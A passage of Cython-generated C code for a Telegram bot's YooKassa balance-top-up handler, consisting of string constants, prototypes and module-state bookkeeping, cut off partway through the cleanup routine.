__pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_YOOKASSA_SECRET_KEY[] = "YOOKASSA_SECRET_KEY"; +static const char __pyx_k_aiogram_fsm_context[] = "aiogram.fsm.context"; +static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_InlineKeyboardMarkup[] = "InlineKeyboardMarkup"; +static const char __pyx_k_PIRAT4ETO5DLYA0TEBYA[] = "PIRAT4ETO5DLYA0TEBYA"; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_ReplenishBalanceState[] = "ReplenishBalanceState"; +static const char __pyx_k_Webhook_event_received[] = "Webhook event received: "; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_handlers_payments_gift[] = "handlers.payments.gift"; +static const char __pyx_k_check_connection_exists[] = "check_connection_exists"; +static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; +static const char __pyx_k_choosing_amount_yookassa[] = "choosing_amount_yookassa"; +static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; +static const char __pyx_k_process_custom_amount_input[] = "process_custom_amount_input"; +static const char __pyx_k_process_enter_custom_amount[] = "process_enter_custom_amount"; +static const char __pyx_k_enter_custom_amount_yookassa[] = "enter_custom_amount_yookassa"; +static const char __pyx_k_Payment_succeeded_for_user_id[] = "Payment succeeded for user_id: "; +static const char __pyx_k_process_callback_pay_yookassa[] = "process_callback_pay_yookassa"; +static const char __pyx_k_handlers_payments_yookassa_pay[] = "handlers.payments.yookassa_pay"; +static const char __pyx_k_entering_custom_amount_yookassa[] = "entering_custom_amount_yookassa"; +static const char __pyx_k_https_pocomacho_ru_success_html[] = "https://pocomacho.ru/success.html"; +static const char __pyx_k_handlers_payments_yookassa_pay_p[] = "handlers/payments/yookassa_pay.py"; +static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; +static const char __pyx_k_waiting_for_payment_confirmation[] = "waiting_for_payment_confirmation_yookassa"; +/* #### Code section: decls ### */ +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_process_callback_pay_yookassa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_6yookassa_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_9process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_12process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa; + PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection; + PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook; + PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount; + PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input; + PyObject *__pyx_kp_u_1_00; + PyObject *__pyx_kp_u_79000000000; + PyObject *__pyx_kp_u_API_Yookassa; + PyObject *__pyx_kp_u_Account_ID; + PyObject *__pyx_n_s_Any; + PyObject *__pyx_n_s_Configuration; + PyObject *__pyx_n_s_F; + PyObject *__pyx_n_s_FSMContext; + PyObject *__pyx_n_u_HASHHASHYOOKASSA; + PyObject *__pyx_kp_u_ID; + PyObject *__pyx_kp_u_ID_2; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_n_s_InlineKeyboardMarkup; + PyObject *__pyx_n_s_MAIN_SECRET; + PyObject *__pyx_n_s_PAYMENT_OPTIONS; + PyObject *__pyx_n_u_PIRAT4ETO5DLYA0TEBYA; + PyObject *__pyx_n_s_Payment; + PyObject *__pyx_kp_u_Payment_succeeded_for_user_id; + PyObject *__pyx_n_u_RUB; + PyObject *__pyx_n_s_ReplenishBalanceState; + PyObject *__pyx_n_s_Response; + PyObject *__pyx_n_s_Router; + PyObject *__pyx_kp_u_Secret_Key; + PyObject *__pyx_n_s_State; + PyObject *__pyx_n_s_StatesGroup; + PyObject *__pyx_n_s_ValueError; + PyObject *__pyx_kp_u_Webhook_event_received; + PyObject *__pyx_n_s_YOOKASSA_ENABLE; + PyObject *__pyx_n_s_YOOKASSA_HASH; + PyObject *__pyx_kp_u_YOOKASSA_HASH_2; + PyObject *__pyx_n_s_YOOKASSA_SECRET_KEY; + PyObject *__pyx_n_s_YOOKASSA_SHOP_ID; + PyObject *__pyx_kp_u__10; + PyObject *__pyx_kp_u__11; + PyObject *__pyx_kp_u__12; + PyObject *__pyx_kp_u__14; + PyObject *__pyx_kp_u__15; + PyObject *__pyx_kp_u__17; + PyObject *__pyx_kp_u__18; + PyObject *__pyx_kp_u__2; + PyObject *__pyx_kp_u__21; + PyObject *__pyx_kp_u__22; + PyObject *__pyx_kp_u__23; + PyObject *__pyx_kp_u__24; + PyObject *__pyx_n_s__25; + PyObject *__pyx_kp_u__26; + PyObject *__pyx_kp_u__3; + PyObject *__pyx_n_s__33; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_kp_u__6; + PyObject *__pyx_kp_u__8; + PyObject *__pyx_n_u__9; + PyObject *__pyx_n_s_account_id; + PyObject *__pyx_n_s_add_connection; + PyObject *__pyx_n_s_add_payment; + PyObject *__pyx_n_s_aiogram; + PyObject *__pyx_n_s_aiogram_fsm_context; + PyObject *__pyx_n_s_aiogram_fsm_state; + PyObject *__pyx_n_s_aiogram_types; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_aiohttp; + PyObject *__pyx_n_s_amount; + PyObject *__pyx_n_u_amount; + PyObject *__pyx_kp_u_amount_2; + PyObject *__pyx_n_s_amount_str; + PyObject *__pyx_n_s_answer; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_n_s_balance; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_u_callback_data; + PyObject *__pyx_n_s_callback_query; + PyObject *__pyx_n_u_capture; + PyObject *__pyx_n_s_chat; + PyObject *__pyx_n_s_check_connection_exists; + PyObject *__pyx_n_s_choosing_amount_yookassa; + PyObject *__pyx_n_s_class_getitem; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_n_s_config; + PyObject *__pyx_n_s_confirm_keyboard; + PyObject *__pyx_n_u_confirmation; + PyObject *__pyx_n_u_confirmation_url; + PyObject *__pyx_n_s_create; + PyObject *__pyx_n_u_currency; + PyObject *__pyx_n_u_customer; + PyObject *__pyx_n_s_customer_email; + PyObject *__pyx_n_s_customer_id; + PyObject *__pyx_n_s_customer_name; + PyObject *__pyx_n_s_data; + PyObject *__pyx_n_s_database; + PyObject *__pyx_n_s_debug; + PyObject *__pyx_n_u_description; + PyObject *__pyx_n_s_dict; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_doc; + PyObject *__pyx_n_s_e; + PyObject *__pyx_n_u_email; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_u_enter_custom_amount_yookassa; + PyObject *__pyx_n_s_entering_custom_amount_yookassa; + PyObject *__pyx_n_s_error; + PyObject *__pyx_n_s_event; + PyObject *__pyx_n_s_exists; + PyObject *__pyx_n_s_expected_hash; + PyObject *__pyx_n_s_find_one; + PyObject *__pyx_n_s_from_user; + PyObject *__pyx_n_s_full_name; + PyObject *__pyx_n_u_full_name; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_get; + PyObject *__pyx_n_s_get_key_count; + PyObject *__pyx_n_s_handlers_payments_gift; + PyObject *__pyx_n_s_handlers_payments_utils; + PyObject *__pyx_n_s_handlers_payments_yookassa_pay; + PyObject *__pyx_kp_s_handlers_payments_yookassa_pay_p; + PyObject *__pyx_n_s_handlers_texts; + PyObject *__pyx_kp_u_https_pocomacho_ru_success_html; + PyObject *__pyx_n_s_i; + PyObject *__pyx_n_s_id; + PyObject *__pyx_n_u_id; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_info; + PyObject *__pyx_n_s_init_subclass; + PyObject *__pyx_n_s_initializing; + PyObject *__pyx_n_s_inline_keyboard; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_n_s_isdigit; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_u_items; + PyObject *__pyx_n_s_json; + PyObject *__pyx_n_s_key_count; + PyObject *__pyx_n_s_logger; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_message; + PyObject *__pyx_n_s_metaclass; + PyObject *__pyx_n_s_metadata; + PyObject *__pyx_n_u_metadata; + PyObject *__pyx_n_s_module; + PyObject *__pyx_n_s_mro_entries; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_u_object; + PyObject *__pyx_n_s_paid; + PyObject *__pyx_n_u_pay; + PyObject *__pyx_n_u_pay_yookassa; + PyObject *__pyx_n_s_payment; + PyObject *__pyx_n_s_payment_id; + PyObject *__pyx_n_s_payment_object; + PyObject *__pyx_n_s_payment_url; + PyObject *__pyx_n_u_pending; + PyObject *__pyx_n_u_phone; + PyObject *__pyx_n_s_prepare; + PyObject *__pyx_n_s_process_amount_selection; + PyObject *__pyx_n_s_process_callback_pay_yookassa; + PyObject *__pyx_n_s_process_custom_amount_input; + PyObject *__pyx_n_s_process_enter_custom_amount; + PyObject *__pyx_n_s_qualname; + PyObject *__pyx_n_u_quantity; + PyObject *__pyx_n_s_range; + PyObject *__pyx_n_u_receipt; + PyObject *__pyx_n_u_redirect; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_request; + PyObject *__pyx_n_u_return_url; + PyObject *__pyx_n_s_router; + PyObject *__pyx_n_s_row; + PyObject *__pyx_n_s_secret_key; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_send_payment_success_notificatio; + PyObject *__pyx_n_s_session; + PyObject *__pyx_n_s_set_name; + PyObject *__pyx_n_s_set_state; + PyObject *__pyx_kp_u_solo_net; + PyObject *__pyx_kp_u_solonet_sup; + PyObject *__pyx_n_s_spec; + PyObject *__pyx_n_s_split; + PyObject *__pyx_n_s_startswith; + PyObject *__pyx_n_s_state; + PyObject *__pyx_n_s_status; + PyObject *__pyx_n_u_status; + PyObject *__pyx_n_u_succeeded; + PyObject *__pyx_n_s_super; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_u_text; + PyObject *__pyx_n_s_tg_id; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_trial; + PyObject *__pyx_n_u_type; + PyObject *__pyx_n_s_types; + PyObject *__pyx_kp_s_types_CallbackQuery; + PyObject *__pyx_kp_s_types_Message; + PyObject *__pyx_n_s_typing; + PyObject *__pyx_n_s_update_balance; + PyObject *__pyx_n_s_update_data; + PyObject *__pyx_n_s_url; + PyObject *__pyx_n_s_user_id; + PyObject *__pyx_n_u_user_id; + PyObject *__pyx_kp_u_user_id_amount; + PyObject *__pyx_n_s_user_id_str; + PyObject *__pyx_n_s_uuid; + PyObject *__pyx_n_s_uuid4; + PyObject *__pyx_n_u_value; + PyObject *__pyx_n_u_vat_code; + PyObject *__pyx_n_s_waiting_for_payment_confirmation; + PyObject *__pyx_n_s_warning; + PyObject *__pyx_n_s_web; + PyObject *__pyx_n_u_yookassa; + PyObject *__pyx_n_s_yookassa_2; + PyObject *__pyx_n_u_yookassa_2; + PyObject *__pyx_kp_u_yookassa_amount; + PyObject *__pyx_n_s_yookassa_webhook; + PyObject *__pyx_float_0_0; + PyObject *__pyx_int_0; + PyObject *__pyx_int_1; + PyObject *__pyx_int_2; + PyObject *__pyx_int_200; + PyObject *__pyx_int_400; + PyObject *__pyx_int_500; + PyObject *__pyx_codeobj_; + PyObject *__pyx_tuple__7; + PyObject *__pyx_tuple__19; + PyObject *__pyx_tuple__27; + PyObject *__pyx_tuple__28; + PyObject *__pyx_tuple__29; + PyObject *__pyx_tuple__30; + PyObject *__pyx_tuple__31; + PyObject *__pyx_tuple__32; + PyObject *__pyx_codeobj__5; + PyObject *__pyx_codeobj__13; + PyObject *__pyx_codeobj__16; + PyObject *__pyx_codeobj__20; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_kp_u_1_00); + Py_CLEAR(clear_module_state->__pyx_kp_u_79000000000); + Py_CLEAR(clear_module_state->__pyx_kp_u_API_Yookassa); + Py_CLEAR(clear_module_state->__pyx_kp_u_Account_ID); + Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_n_s_Configuration); + Py_CLEAR(clear_module_state->__pyx_n_s_F); + Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); + Py_CLEAR(clear_module_state->__pyx_n_u_HASHHASHYOOKASSA); + Py_CLEAR(clear_module_state->__pyx_kp_u_ID); + Py_CLEAR(clear_module_state->__pyx_kp_u_ID_2); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_CLEAR(clear_module_state->__pyx_n_s_MAIN_SECRET); + Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_CLEAR(clear_module_state->__pyx_n_u_PIRAT4ETO5DLYA0TEBYA); + Py_CLEAR(clear_module_state->__pyx_n_s_Payment); + Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_CLEAR(clear_module_state->__pyx_n_u_RUB); + Py_CLEAR(clear_module_state->__pyx_n_s_ReplenishBalanceState); + Py_CLEAR(clear_module_state->__pyx_n_s_Response); + Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_kp_u_Secret_Key); + Py_CLEAR(clear_module_state->__pyx_n_s_State); + Py_CLEAR(clear_module_state->__pyx_n_s_StatesGroup); + Py_CLEAR(clear_module_state->__pyx_n_s_ValueError); + Py_CLEAR(clear_module_state->__pyx_kp_u_Webhook_event_received); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_ENABLE); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_HASH); + Py_CLEAR(clear_module_state->__pyx_kp_u_YOOKASSA_HASH_2); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_SECRET_KEY); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_SHOP_ID); + Py_CLEAR(clear_module_state->__pyx_kp_u__10); + Py_CLEAR(clear_module_state->__pyx_kp_u__11); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_kp_u__14); + Py_CLEAR(clear_module_state->__pyx_kp_u__15); + Py_CLEAR(clear_module_state->__pyx_kp_u__17); + Py_CLEAR(clear_module_state->__pyx_kp_u__18); + Py_CLEAR(clear_module_state->__pyx_kp_u__2); + Py_CLEAR(clear_module_state->__pyx_kp_u__21); + Py_CLEAR(clear_module_state->__pyx_kp_u__22); + Py_CLEAR(clear_module_state->__pyx_kp_u__23); + Py_CLEAR(clear_module_state->__pyx_kp_u__24); + Py_CLEAR(clear_module_state->__pyx_n_s__25); + Py_CLEAR(clear_module_state->__pyx_kp_u__26); + Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_n_s__33); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); + Py_CLEAR(clear_module_state->__pyx_kp_u__8); + Py_CLEAR(clear_module_state->__pyx_n_u__9); + Py_CLEAR(clear_module_state->__pyx_n_s_account_id); + Py_CLEAR(clear_module_state->__pyx_n_s_add_connection); + Py_CLEAR(clear_module_state->__pyx_n_s_add_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_context); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_state); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_aiohttp); + Py_CLEAR(clear_module_state->__pyx_n_s_amount); + Py_CLEAR(clear_module_state->__pyx_n_u_amount); + Py_CLEAR(clear_module_state->__pyx_kp_u_amount_2); + Py_CLEAR(clear_module_state->__pyx_n_s_amount_str); + Py_CLEAR(clear_module_state->__pyx_n_s_answer); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_n_s_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_u_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_query); + Py_CLEAR(clear_module_state->__pyx_n_u_capture); + Py_CLEAR(clear_module_state->__pyx_n_s_chat); + Py_CLEAR(clear_module_state->__pyx_n_s_check_connection_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_choosing_amount_yookassa); + Py_CLEAR(clear_module_state->__pyx_n_s_class_getitem); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_n_s_config); + Py_CLEAR(clear_module_state->__pyx_n_s_confirm_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_u_confirmation); + Py_CLEAR(clear_module_state->__pyx_n_u_confirmation_url); + Py_CLEAR(clear_module_state->__pyx_n_s_create); + Py_CLEAR(clear_module_state->__pyx_n_u_currency); + Py_CLEAR(clear_module_state->__pyx_n_u_customer); + Py_CLEAR(clear_module_state->__pyx_n_s_customer_email); + Py_CLEAR(clear_module_state->__pyx_n_s_customer_id); + Py_CLEAR(clear_module_state->__pyx_n_s_customer_name); + Py_CLEAR(clear_module_state->__pyx_n_s_data); + Py_CLEAR(clear_module_state->__pyx_n_s_database); + Py_CLEAR(clear_module_state->__pyx_n_s_debug); + Py_CLEAR(clear_module_state->__pyx_n_u_description); + Py_CLEAR(clear_module_state->__pyx_n_s_dict); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_doc); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_n_u_email); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_u_enter_custom_amount_yookassa); + Py_CLEAR(clear_module_state->__pyx_n_s_entering_custom_amount_yookassa); + Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_s_event); + Py_CLEAR(clear_module_state->__pyx_n_s_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_expected_hash); + Py_CLEAR(clear_module_state->__pyx_n_s_find_one); + Py_CLEAR(clear_module_state->__pyx_n_s_from_user); + Py_CLEAR(clear_module_state->__pyx_n_s_full_name); + Py_CLEAR(clear_module_state->__pyx_n_u_full_name); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_get); + Py_CLEAR(clear_module_state->__pyx_n_s_get_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_yookassa_pay); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_yookassa_pay_p); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); + Py_CLEAR(clear_module_state->__pyx_kp_u_https_pocomacho_ru_success_html); + Py_CLEAR(clear_module_state->__pyx_n_s_i); + Py_CLEAR(clear_module_state->__pyx_n_s_id); + Py_CLEAR(clear_module_state->__pyx_n_u_id); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_info); + Py_CLEAR(clear_module_state->__pyx_n_s_init_subclass); + Py_CLEAR(clear_module_state->__pyx_n_s_initializing); + Py_CLEAR(clear_module_state->__pyx_n_s_inline_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_n_s_isdigit); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_u_items); + Py_CLEAR(clear_module_state->__pyx_n_s_json); + Py_CLEAR(clear_module_state->__pyx_n_s_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_logger); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_message); + Py_CLEAR(clear_module_state->__pyx_n_s_metaclass); + Py_CLEAR(clear_module_state->__pyx_n_s_metadata); + Py_CLEAR(clear_module_state->__pyx_n_u_metadata); + Py_CLEAR(clear_module_state->__pyx_n_s_module); + Py_CLEAR(clear_module_state->__pyx_n_s_mro_entries); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_u_object); + Py_CLEAR(clear_module_state->__pyx_n_s_paid); + Py_CLEAR(clear_module_state->__pyx_n_u_pay); + Py_CLEAR(clear_module_state->__pyx_n_u_pay_yookassa); + Py_CLEAR(clear_module_state->__pyx_n_s_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_id); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_object); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_url); + Py_CLEAR(clear_module_state->__pyx_n_u_pending); + Py_CLEAR(clear_module_state->__pyx_n_u_phone); + Py_CLEAR(clear_module_state->__pyx_n_s_prepare); + Py_CLEAR(clear_module_state->__pyx_n_s_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_n_s_process_callback_pay_yookassa); + Py_CLEAR(clear_module_state->__pyx_n_s_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_n_s_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_qualname); + Py_CLEAR(clear_module_state->__pyx_n_u_quantity); + Py_CLEAR(clear_module_state->__pyx_n_s_range); + Py_CLEAR(clear_module_state->__pyx_n_u_receipt); + Py_CLEAR(clear_module_state->__pyx_n_u_redirect); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_request); + Py_CLEAR(clear_module_state->__pyx_n_u_return_url); + Py_CLEAR(clear_module_state->__pyx_n_s_router); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_n_s_secret_key); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_CLEAR(clear_module_state->__pyx_n_s_session); + Py_CLEAR(clear_module_state->__pyx_n_s_set_name); + Py_CLEAR(clear_module_state->__pyx_n_s_set_state); + Py_CLEAR(clear_module_state->__pyx_kp_u_solo_net); + Py_CLEAR(clear_module_state->__pyx_kp_u_solonet_sup); + Py_CLEAR(clear_module_state->__pyx_n_s_spec); + Py_CLEAR(clear_module_state->__pyx_n_s_split); + Py_CLEAR(clear_module_state->__pyx_n_s_startswith); + Py_CLEAR(clear_module_state->__pyx_n_s_state); + Py_CLEAR(clear_module_state->__pyx_n_s_status); + Py_CLEAR(clear_module_state->__pyx_n_u_status); + 